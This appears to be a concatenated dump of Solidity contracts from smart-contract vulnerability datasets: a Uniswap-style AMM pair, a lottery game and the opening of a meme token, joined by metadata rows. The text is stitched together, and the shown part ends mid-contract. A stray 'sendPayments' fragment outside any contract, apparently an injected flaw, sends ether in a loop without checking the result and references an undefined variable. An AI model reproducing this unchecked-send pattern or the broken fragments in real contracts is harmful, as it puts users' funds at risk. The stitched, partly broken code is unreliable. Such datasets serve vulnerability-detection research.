function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IBEP20 {
event Approval(address indexed owner,
address indexed spender,
uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
}
interface IBallswapFactory {
event PairCreated(address indexed token0,
address indexed token1,
address pair,
uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
interface IBallswapCallee {
function ballSwapCall(address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data) external;
}
interface IMigrator {
// Return the desired amount of liquidity token that the migrator wants.
function desiredLiquidity() external view returns (uint256);
}
contract BallswapPair is BallswapBEP20 {
using SafeMathBallswap for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, "Ballswap::Pair::lock::LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
function getReserves()
public
view
returns (uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token,
address to,
uint256 value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))),
"Ballswap::Pair::_safeTransfer::TRANSFER_FAILED");
}
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to);
event Swap(address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, "Ballswap::Pair::initialize::FORBIDDEN"); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1),
"Ballswap::Pair::_update::OVERFLOW");
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast +=
uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) *
timeElapsed;
price1CumulativeLast +=
uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) *
timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1)
private
returns (bool feeOn)
{
address feeTo = IBallswapFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint256 balance0 = IBEP20(token0).balanceOf(address(this));
uint256 balance1 = IBEP20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
address migrator = IBallswapFactory(factory).migrator();
if (msg.sender == migrator) {
liquidity = IMigrator(migrator).desiredLiquidity();
require(liquidity > 0 && liquidity != uint256(-1),
"Ballswap::Pair::mint::BAD_LIQUIDITY");
} else {
require(migrator == address(0),
"Ballswap::Pair::mint::MIGRATOR_NOT_EXIST");
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
}
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0,
amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0,
"Ballswap::Pair::mint::INSUFFICIENT_LIQUIDITY_MINTED");
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to)
external
lock
returns (uint256 amount0, uint256 amount1)
{
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IBEP20(_token0).balanceOf(address(this));
uint256 balance1 = IBEP20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0,
"Ballswap::Pair::burn::INSUFFICIENT_LIQUIDITY_BURNED");
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IBEP20(_token0).balanceOf(address(this));
balance1 = IBEP20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0,
"Ballswap::Pair::swap::INSUFFICIENT_OUTPUT_AMOUNT");
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1,
"Ballswap::Pair::swap::INSUFFICIENT_LIQUIDITY");
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1,
"Ballswap::Pair::swap::INVALID_TO");
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0)
IBallswapCallee(to).ballSwapCall(msg.sender,
amount0Out,
amount1Out,
data);
balance0 = IBEP20(_token0).balanceOf(address(this));
balance1 = IBEP20(_token1).balanceOf(address(this));
}
uint256 amount0In = balance0 > _reserve0 - amount0Out
? balance0 - (_reserve0 - amount0Out)
: 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out
? balance1 - (_reserve1 - amount1Out)
: 0;
require(amount0In > 0 || amount1In > 0,
"Ballswap::Pair::swap::INSUFFICIENT_INPUT_AMOUNT");
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >=
uint256(_reserve0).mul(_reserve1).mul(1000**2),
"Ballswap::Pair::swap::INVALID_K");
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0,
to,
IBEP20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1,
to,
IBEP20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IBEP20(token0).balanceOf(address(this)),
IBEP20(token1).balanceOf(address(this)),
reserve0,
reserve1);
}
}
| 252,389 | 10,965 |
0bd33b6fb0f2c8a0393b3c3fb8e54208cb2f18eda9bc57fac66777a5fb5824a9
| 19,095 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x7528c1e72b2ccd0660a3f70d700f8880a44e7963.sol
| 4,658 | 18,809 |
pragma solidity 0.5.6;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "");
owner = newOwner;
}
}
// Developer @gogol
// Design @chechenets
// Architect @tugush
contract Manageable is Ownable {
mapping(address => bool) public listOfManagers;
modifier onlyManager() {
require(listOfManagers[msg.sender], "");
_;
}
function addManager(address _manager) public onlyOwner returns (bool success) {
if (!listOfManagers[_manager]) {
require(_manager != address(0), "");
listOfManagers[_manager] = true;
success = true;
}
}
function removeManager(address _manager) public onlyOwner returns (bool success) {
if (listOfManagers[_manager]) {
listOfManagers[_manager] = false;
success = true;
}
}
function getInfo(address _manager) public view returns (bool) {
return listOfManagers[_manager];
}
}
// Developer @gogol
// Design @chechenets
// Architect @tugush
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, ""); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "");
return a % b;
}
}
// Developer @gogol
// Design @chechenets
// Architect @tugush
contract iRNG {
function update(uint roundNumber, uint additionalNonce, uint period) public payable;
}
contract BaseGame is Manageable {
using SafeMath for uint;
enum RoundState {NOT_STARTED, ACCEPT_FUNDS, WAIT_RESULT, SUCCESS, REFUND}
struct Round {
RoundState state;
uint ticketsCount;
uint participantCount;
TicketsInterval[] tickets;
address[] participants;
uint random;
uint nonce; //xored participants addresses
uint startRoundTime;
uint[] winningTickets;
address[] winners;
uint roundFunds;
mapping(address => uint) winnersFunds;
mapping(address => uint) participantFunds;
mapping(address => bool) sendGain;
}
struct TicketsInterval {
address participant;
uint firstTicket;
uint lastTicket;
}
uint constant public NUMBER_OF_WINNERS = 10;
uint constant public SHARE_DENOMINATOR = 10000;
uint constant public ORACLIZE_TIMEOUT = 86400; // one day
uint[] public shareOfWinners = [5000, 2500, 1250, 620, 320, 160, 80, 40, 20, 10];
address payable public organiser;
uint constant public ORGANISER_PERCENT = 20;
uint constant public ROUND_FUND_PERCENT = 80;
uint public period;
address public hourlyGame;
address public management;
address payable public rng;
mapping (uint => Round) public rounds;
uint public ticketPrice;
uint public currentRound;
event GameStarted(uint start);
event RoundStateChanged(uint currentRound, RoundState state);
event ParticipantAdded(uint round, address participant, uint ticketsCount, uint funds);
event RoundProcecced(uint round, address[] winners, uint[] winningTickets, uint roundFunds);
event RefundIsSuccess(uint round, address participant, uint funds);
event RefundIsFailed(uint round, address participant);
event Withdraw(address participant, uint funds, uint fromRound, uint toRound);
event TicketPriceChanged(uint price);
modifier onlyRng {
require(msg.sender == address(rng), "");
_;
}
modifier onlyGameContract {
require(msg.sender == address(hourlyGame) || msg.sender == management, "");
_;
}
constructor (address payable _rng, uint _period) public {
require(_rng != address(0), "");
require(_period >= 60, "");
rng = _rng;
period = _period;
}
function setContracts(address payable _rng, address _hourlyGame, address _management) public onlyOwner {
require(_rng != address(0), "");
require(_hourlyGame != address(0), "");
require(_management != address(0), "");
rng = _rng;
hourlyGame = _hourlyGame;
management = _management;
}
function startGame(uint _startPeriod) public payable onlyGameContract {
currentRound = 1;
uint time = getCurrentTime().add(_startPeriod).sub(period);
rounds[currentRound].startRoundTime = time;
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
iRNG(rng).update.value(msg.value)(currentRound, 0, _startPeriod);
emit GameStarted(time);
}
function buyTickets(address _participant) public payable onlyGameContract {
uint funds = msg.value;
updateRoundTimeAndState();
addParticipant(_participant, funds.div(ticketPrice));
updateRoundFundsAndParticipants(_participant, funds);
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) &&
rounds[currentRound].participantCount >= 10) {
_restartGame();
}
}
function buyBonusTickets(address _participant, uint _ticketsCount) public payable onlyGameContract {
updateRoundTimeAndState();
addParticipant(_participant, _ticketsCount);
updateRoundFundsAndParticipants(_participant, uint(0));
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) &&
rounds[currentRound].participantCount >= 10) {
_restartGame();
}
}
function processRound(uint _round, uint _randomNumber) public payable onlyRng returns (bool) {
if (rounds[_round].winners.length != 0) {
return true;
}
if (checkRoundState(_round) == RoundState.REFUND) {
return true;
}
if (rounds[_round].participantCount < 10) {
rounds[_round].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(_round, rounds[_round].state);
return true;
}
rounds[_round].random = _randomNumber;
findWinTickets(_round);
findWinners(_round);
rounds[_round].state = RoundState.SUCCESS;
emit RoundStateChanged(_round, rounds[_round].state);
if (rounds[_round.add(1)].state == RoundState.NOT_STARTED) {
currentRound = _round.add(1);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
emit RoundProcecced(_round, rounds[_round].winners, rounds[_round].winningTickets, rounds[_round].roundFunds);
getRandomNumber(_round + 1, rounds[_round].nonce);
return true;
}
function restartGame() public payable onlyOwner {
_restartGame();
}
function getRandomNumber(uint _round, uint _nonce) public payable onlyRng {
iRNG(rng).update(_round, _nonce, period);
}
function setTicketPrice(uint _ticketPrice) public onlyGameContract {
require(_ticketPrice > 0, "");
emit TicketPriceChanged(_ticketPrice);
ticketPrice = _ticketPrice;
}
function findWinTickets(uint _round) public {
uint[10] memory winners = _findWinTickets(rounds[_round].random, rounds[_round].ticketsCount);
for (uint i = 0; i < 10; i++) {
rounds[_round].winningTickets.push(winners[i]);
}
}
function _findWinTickets(uint _random, uint _ticketsNum) public pure returns (uint[10] memory) {
uint random = _random;//uint(keccak256(abi.encodePacked(_random)));
uint winnersNum = 10;
uint[10] memory winTickets;
uint shift = uint(256).div(winnersNum);
for (uint i = 0; i < 10; i++) {
winTickets[i] =
uint(keccak256(abi.encodePacked(((random << (i.mul(shift))) >> (shift.mul(winnersNum.sub(1)).add(6)))))).mod(_ticketsNum);
}
return winTickets;
}
function refund(uint _round) public {
if (checkRoundState(_round) == RoundState.REFUND
&& rounds[_round].participantFunds[msg.sender] > 0) {
uint amount = rounds[_round].participantFunds[msg.sender];
rounds[_round].participantFunds[msg.sender] = 0;
address(msg.sender).transfer(amount);
emit RefundIsSuccess(_round, msg.sender, amount);
} else {
emit RefundIsFailed(_round, msg.sender);
}
}
function checkRoundState(uint _round) public returns (RoundState) {
if (rounds[_round].state == RoundState.WAIT_RESULT
&& getCurrentTime() > rounds[_round].startRoundTime.add(ORACLIZE_TIMEOUT)) {
rounds[_round].state = RoundState.REFUND;
emit RoundStateChanged(_round, rounds[_round].state);
}
return rounds[_round].state;
}
function setOrganiser(address payable _organiser) public onlyOwner {
require(_organiser != address(0), "");
organiser = _organiser;
}
function getGain(uint _fromRound, uint _toRound) public {
_transferGain(msg.sender, _fromRound, _toRound);
}
function sendGain(address payable _participant, uint _fromRound, uint _toRound) public onlyManager {
_transferGain(_participant, _fromRound, _toRound);
}
function getTicketsCount(uint _round) public view returns (uint) {
return rounds[_round].ticketsCount;
}
function getTicketPrice() public view returns (uint) {
return ticketPrice;
}
function getCurrentTime() public view returns (uint) {
return now;
}
function getPeriod() public view returns (uint) {
return period;
}
function getRoundWinners(uint _round) public view returns (address[] memory) {
return rounds[_round].winners;
}
function getRoundWinningTickets(uint _round) public view returns (uint[] memory) {
return rounds[_round].winningTickets;
}
function getRoundParticipants(uint _round) public view returns (address[] memory) {
return rounds[_round].participants;
}
function getWinningFunds(uint _round, address _winner) public view returns (uint) {
return rounds[_round].winnersFunds[_winner];
}
function getRoundFunds(uint _round) public view returns (uint) {
return rounds[_round].roundFunds;
}
function getParticipantFunds(uint _round, address _participant) public view returns (uint) {
return rounds[_round].participantFunds[_participant];
}
function getCurrentRound() public view returns (uint) {
return currentRound;
}
function getRoundStartTime(uint _round) public view returns (uint) {
return rounds[_round].startRoundTime;
}
function _restartGame() internal {
uint _now = getCurrentTime().sub(rounds[1].startRoundTime);
rounds[currentRound].startRoundTime = getCurrentTime().sub(_now.mod(period));
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
iRNG(rng).update(currentRound, 0, period.sub(_now.mod(period)));
}
function _transferGain(address payable _participant, uint _fromRound, uint _toRound) internal {
require(_fromRound <= _toRound, "");
require(_participant != address(0), "");
uint funds;
for (uint i = _fromRound; i <= _toRound; i++) {
if (rounds[i].state == RoundState.SUCCESS
&& rounds[i].sendGain[_participant] == false) {
rounds[i].sendGain[_participant] = true;
funds = funds.add(getWinningFunds(i, _participant));
}
}
require(funds > 0, "");
_participant.transfer(funds);
emit Withdraw(_participant, funds, _fromRound, _toRound);
}
// find participant who has winning ticket
// to start: _begin is 0, _end is last index in ticketsInterval array
function getWinner(uint _round,
uint _beginInterval,
uint _endInterval,
uint _winningTicket)
internal
returns (address)
{
if (_beginInterval == _endInterval) {
return rounds[_round].tickets[_beginInterval].participant;
}
uint len = _endInterval.add(1).sub(_beginInterval);
uint mid = _beginInterval.add((len.div(2))).sub(1);
TicketsInterval memory interval = rounds[_round].tickets[mid];
if (_winningTicket < interval.firstTicket) {
return getWinner(_round, _beginInterval, mid, _winningTicket);
} else if (_winningTicket > interval.lastTicket) {
return getWinner(_round, mid.add(1), _endInterval, _winningTicket);
} else {
return interval.participant;
}
}
function addParticipant(address _participant, uint _ticketsCount) internal {
rounds[currentRound].participants.push(_participant);
uint currTicketsCount = rounds[currentRound].ticketsCount;
rounds[currentRound].ticketsCount = currTicketsCount.add(_ticketsCount);
rounds[currentRound].tickets.push(TicketsInterval(_participant,
currTicketsCount,
rounds[currentRound].ticketsCount.sub(1)));
rounds[currentRound].nonce = rounds[currentRound].nonce + uint(keccak256(abi.encodePacked(_participant)));
emit ParticipantAdded(currentRound, _participant, _ticketsCount, _ticketsCount.mul(ticketPrice));
}
function updateRoundTimeAndState() internal {
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period)
&& rounds[currentRound].participantCount >= 10) {
rounds[currentRound].state = RoundState.WAIT_RESULT;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
currentRound = currentRound.add(1);
rounds[currentRound].startRoundTime = rounds[currentRound-1].startRoundTime.add(period);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
}
function updateRoundFundsAndParticipants(address _participant, uint _funds) internal {
if (rounds[currentRound].participantFunds[_participant] == 0) {
rounds[currentRound].participantCount = rounds[currentRound].participantCount.add(1);
}
rounds[currentRound].participantFunds[_participant] =
rounds[currentRound].participantFunds[_participant].add(_funds);
rounds[currentRound].roundFunds =
rounds[currentRound].roundFunds.add(_funds);
}
function findWinners(uint _round) internal {
address winner;
uint fundsToWinner;
for (uint i = 0; i < NUMBER_OF_WINNERS; i++) {
winner = getWinner(_round,
0,
(rounds[_round].tickets.length).sub(1),
rounds[_round].winningTickets[i]);
rounds[_round].winners.push(winner);
fundsToWinner = rounds[_round].roundFunds.mul(shareOfWinners[i]).div(SHARE_DENOMINATOR);
rounds[_round].winnersFunds[winner] = rounds[_round].winnersFunds[winner].add(fundsToWinner);
}
}
}
// Developer @gogol
// Design @chechenets
// Architect @tugush
contract IChecker {
function update() public payable;
}
contract JackPot is BaseGame {
IChecker public checker;
modifier onlyChecker {
require(msg.sender == address(checker), "");
_;
}
constructor(address payable _rng,
uint _period,
address _checker)
public
BaseGame(_rng, _period) {
require(_checker != address(0), "");
checker = IChecker(_checker);
}
function () external payable {
}
function processGame() public payable onlyChecker {
rounds[currentRound].state = RoundState.WAIT_RESULT;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
iRNG(rng).update.value(msg.value)(currentRound, rounds[currentRound].nonce, 0);
currentRound = currentRound.add(1);
rounds[currentRound].startRoundTime = getCurrentTime();
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
function startGame(uint _startPeriod) public payable onlyGameContract {
_startPeriod;
currentRound = 1;
uint time = getCurrentTime();
rounds[currentRound].startRoundTime = time;
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
emit GameStarted(time);
checker.update.value(msg.value)();
}
function setChecker(address _checker) public onlyOwner {
require(_checker != address(0), "");
checker = IChecker(_checker);
}
function processRound(uint _round, uint _randomNumber) public payable onlyRng returns (bool) {
rounds[_round].random = _randomNumber;
rounds[_round].winningTickets.push(_randomNumber.mod(rounds[_round].ticketsCount));
address winner = getWinner(_round,
0,
(rounds[_round].tickets.length).sub(1),
rounds[_round].winningTickets[0]);
rounds[_round].winners.push(winner);
rounds[_round].winnersFunds[winner] = rounds[_round].roundFunds;
rounds[_round].state = RoundState.SUCCESS;
emit RoundStateChanged(_round, rounds[_round].state);
emit RoundProcecced(_round, rounds[_round].winners, rounds[_round].winningTickets, rounds[_round].roundFunds);
return true;
}
function buyTickets(address _participant) public payable onlyGameContract {
require(msg.value > 0, "");
uint ticketsCount = msg.value.div(ticketPrice);
addParticipant(_participant, ticketsCount);
updateRoundFundsAndParticipants(_participant, msg.value);
}
}
// Developer @gogol
// Design @chechenets
function sendPayments() public {
for(uint i = 0; i < values.length - 1; i++) {
msg.sender.send(msg.value);
}
}
}
| 190,297 | 10,966 |
0b0bbae6f0472c26c9e544d91b8dc7e77e04d3a3b3fac9326678230417e04640
| 18,854 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/b1/b1288d805ebc22aa16db491029f47659613d1cd5_DeflationMEMEAI.sol
| 4,658 | 17,776 |
// SPDX-License-Identifier: UNILICENSE
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DeflationMEMEAI is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
